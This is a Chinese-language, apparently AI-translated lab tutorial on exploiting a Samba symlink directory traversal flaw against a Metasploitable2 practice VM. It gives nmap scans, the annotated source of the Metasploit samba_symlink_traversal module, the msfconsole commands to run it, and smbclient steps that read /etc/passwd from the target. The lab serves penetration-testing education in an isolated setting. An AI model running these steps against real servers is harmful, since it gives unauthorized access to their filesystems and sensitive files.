利用 Linux 服务器上的 Samba 漏洞

CybersecurityCybersecurityBeginner
立即练习

💡 本教程由 AI 辅助翻译自英文原版。如需查看原文,您可以 切换至英文原版

介绍

在本实验中,你将学习如何在 Metasploitable2 目标机器上利用一个新的 Samba 漏洞。在整个过程中,每个步骤都会提供截图。通过完成这个实验,你将获得使用工具利用 Samba 漏洞的实践经验。

本课程是一个纯动手操作的实验教程。为了帮助你理解实验中的操作,将介绍一些信息安全理论,并推荐最有价值的文章供你在练习时阅读。


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL cybersecurity(("`Cybersecurity`")) -.-> cybersecurity/NmapGroup(["`Nmap`"]) cybersecurity(("`Cybersecurity`")) -.-> cybersecurity/WiresharkGroup(["`Wireshark`"]) cybersecurity/NmapGroup -.-> cybersecurity/nmap_installation("`Nmap Installation and Setup`") cybersecurity/NmapGroup -.-> cybersecurity/nmap_port_scanning("`Nmap Port Scanning Methods`") cybersecurity/NmapGroup -.-> cybersecurity/nmap_host_discovery("`Nmap Host Discovery Techniques`") cybersecurity/NmapGroup -.-> cybersecurity/nmap_target_specification("`Nmap Target Specification`") cybersecurity/NmapGroup -.-> cybersecurity/nmap_service_detection("`Nmap Service Detection`") cybersecurity/WiresharkGroup -.-> cybersecurity/ws_packet_analysis("`Wireshark Packet Analysis`") subgraph Lab Skills cybersecurity/nmap_installation -.-> lab-416125{{"`利用 Linux 服务器上的 Samba 漏洞`"}} cybersecurity/nmap_port_scanning -.-> lab-416125{{"`利用 Linux 服务器上的 Samba 漏洞`"}} cybersecurity/nmap_host_discovery -.-> lab-416125{{"`利用 Linux 服务器上的 Samba 漏洞`"}} cybersecurity/nmap_target_specification -.-> lab-416125{{"`利用 Linux 服务器上的 Samba 漏洞`"}} cybersecurity/nmap_service_detection -.-> lab-416125{{"`利用 Linux 服务器上的 Samba 漏洞`"}} cybersecurity/ws_packet_analysis -.-> lab-416125{{"`利用 Linux 服务器上的 Samba 漏洞`"}} end

启动实验环境

在这一步中,你将启动攻击机(Kali Linux 容器)和目标机(Metasploitable2 虚拟机)以进行实验。

  1. 在 LabEx 主机上打开一个 xfce 终端,并通过运行以下命令启动 Metasploitable2 目标机:
sudo virsh start Metasploitable2

等待目标机器启动,可能需要1-3分钟。

  1. 通过 ping 命令测试与目标机的连通性:
ping 192.168.122.102

按下 Ctrl+C 停止 ping。

  1. 启动 Kali Linux 容器并通过以下命令进入 bash 环境:
docker run -ti --network host b5b709a49cd5 bash
  1. 在 Kali 容器内,测试与目标机的网络连接:
ping 192.168.122.102

按下 Ctrl+C 停止 ping。

现在攻击机和目标机都已启动,你可以开始渗透测试。

注意:如果你意外退出了当前的 bash,Kali 容器将自动停止。你可以在主机上再次执行 docker run -ti --network host b5b709a49cd5 bash 以启动一个新的 Kali 容器并进入 bash 继续实验。

扫描目标主机的漏洞

在这一步中,你将使用 Nmap 扫描目标主机的漏洞。

首先,登录到 LabEx Kali 环境中的 MSF 终端:

cd ~
service postgresql start
msfdb init
msfconsole

收集目标主机的信息是渗透测试的第一步。使用 Nmap 扫描目标主机的漏洞,并将扫描结果保存到文件 /tmp/report.txt 中,输入以下命令:

nmap -p 1-1000 -T4 -A -v 192.168.122.102 > /tmp/report.txt

这里使用的参数具有以下含义:

参数 描述
-p 指定要扫描的端口范围
-T4 设置 Nmap 扫描的时序策略,值范围为 0-5(数值越高速度越快)
-A 启用操作系统检测和版本检测
-v 在扫描过程中显示详细信息
>/tmp/report.txt 将输出重定向到文件以便后续分析

这个过程可能需要一些时间,因为正在扫描大范围的端口以进行全面的信息收集。请耐心等待一到两分钟。

扫描完成后,按下 Ctrl+D,然后在 LabEx Kali 终端中使用 cat 命令查看文件内容:

cat /tmp/report.txt

你应该会在文本中看到类似以下的信息:

139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)

这表明端口 139 和 445 正在运行 Samba 服务。

分析 Samba 漏洞

在这一步中,你将了解 Samba 漏洞并分析漏洞利用模块的核心代码。

Samba 是一款免费软件,允许类 UNIX 操作系统与 Microsoft Windows 使用的 SMB/CIFS(Server Message Block/Common Internet File System)网络协议进行连接。版本 3 不仅允许访问和共享 SMB 文件夹和打印机,还可以作为域控制器集成到 Windows Server 域中,或作为成员加入 Active Directory。简单来说,这款软件弥合了 Windows 和类 UNIX 操作系统之间的差距,实现了两者之间的资源共享。

Samba 的应用范围广泛,因此其漏洞可能产生重大影响。Samba 可以为选定的 Unix 目录(包括所有子目录)创建网络共享。此功能允许 Windows 用户通过网络访问这些 Unix 目录,就像访问普通的 Windows 文件夹一样。

本实验中使用的漏洞索引为:

OSVDB-62145

本实验中使用的 samba 模块的源代码索引为:

symlink_traversal.rb

以下是核心代码的解析:

  ## 模块初始化信息,包括作者信息和模块介绍
  def initialize
    super(
      'Name'        => 'Samba Symlink Directory Traversal',
      'Description' => %Q{
        This module exploits a directory traversal flaw in the Samba
      CIFS server. To exploit this flaw, a writeable share must be specified.
      The newly created directory will link to the root filesystem.
      },
      'Author'      =>
        [
          'kcope', ## http://lists.grok.org.uk/pipermail/full-disclosure/2010-February/072927.html
          'hdm'    ## metasploit module
        ],
      'References'  =>
        [
          ['OSVDB', '62145'],
          ['URL', 'http://www.samba.org/samba/news/symlink_attack.html']
        ],
      'License'     => MSF_LICENSE
    )

    ## 注册选项信息
    register_options([
      OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server']),
      OptString.new('SMBTARGET', [true, 'The name of the directory that should point to the root filesystem', 'rootfs'])
    ], self.class)

  end


  ## 主执行函数
  def run

    ## 连接到服务器的函数
    print_status("Connecting to the server...")
    connect()
    smb_login()

    ## 连接到目标主机
    print_status("Trying to mount writeable share '#{datastore['SMBSHARE']}'...")
    self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")

    ## 尝试进入根文件系统
    print_status("Trying to link '#{datastore['SMBTARGET']}' to the root filesystem...")
    self.simple.client.symlink(datastore['SMBTARGET'], "../" * 10)

    ## 成功进入后打印成功信息
    print_status("Now access the following share to browse the root filesystem:")
    print_status("\t\\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['SMBTARGET']}\\")
    print_line("")
  end

end

在解析完模块的核心代码后,我们将在 MSF 终端中执行实际的漏洞利用,输入以下命令:

search samba
use auxiliary/admin/smb/samba_symlink_traversal
show options

设置目标主机:

set RHOST 192.168.122.102

选择共享目录:

set SMBSHARE tmp

注意:提醒一下,此 Samba 漏洞的影响是允许为选定的 Unix 目录(包括所有子目录)创建网络共享。

设置完所有必需的参数后,你可以继续利用漏洞:

exploit

如果成功,你应该会看到以下消息:

[*] 192.168.122.102:445 - Now access the following share to browse the root filesystem:

成功利用漏洞后,使用 exit 命令退出,并在终端中使用 smbclient 测试是否可以连接。系统会提示输入密码,但你可以直接按 Enter 键而不输入任何密码:

exit
smbclient //192.168.122.102/tmp

连接成功后,你可以通过执行以下命令验证对根文件系统的访问权限:

more rootfs/etc/passwd

你应该会看到类似以下的输出:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
[....]

这确认你已成功利用漏洞,并通过创建的网络共享获得了对目标主机的访问权限。

按 Ctrl+D 退出 Metasploit 控制台,然后开始检查

总结

在本实验中,你了解了 Metasploitable2 中的 Samba 漏洞,并按照原始步骤指导在目标机器上利用该漏洞。随后,你使用创建的网络共享登录到被攻陷的目标主机。本实验涵盖的关键点包括:

  • Linux 基本命令
  • Nmap 漏洞扫描
  • 扫描到的 Samba 漏洞分析
  • symlink_traversal 模块的核心代码解析
  • 使用网络文件共享登录目标主机

建议你反复练习这些步骤,以加强对渗透测试过程的理解。推荐阅读部分提供了更多资源,供你深入学习 Samba 漏洞相关知识。

您可能感兴趣的其他 Cybersecurity 教程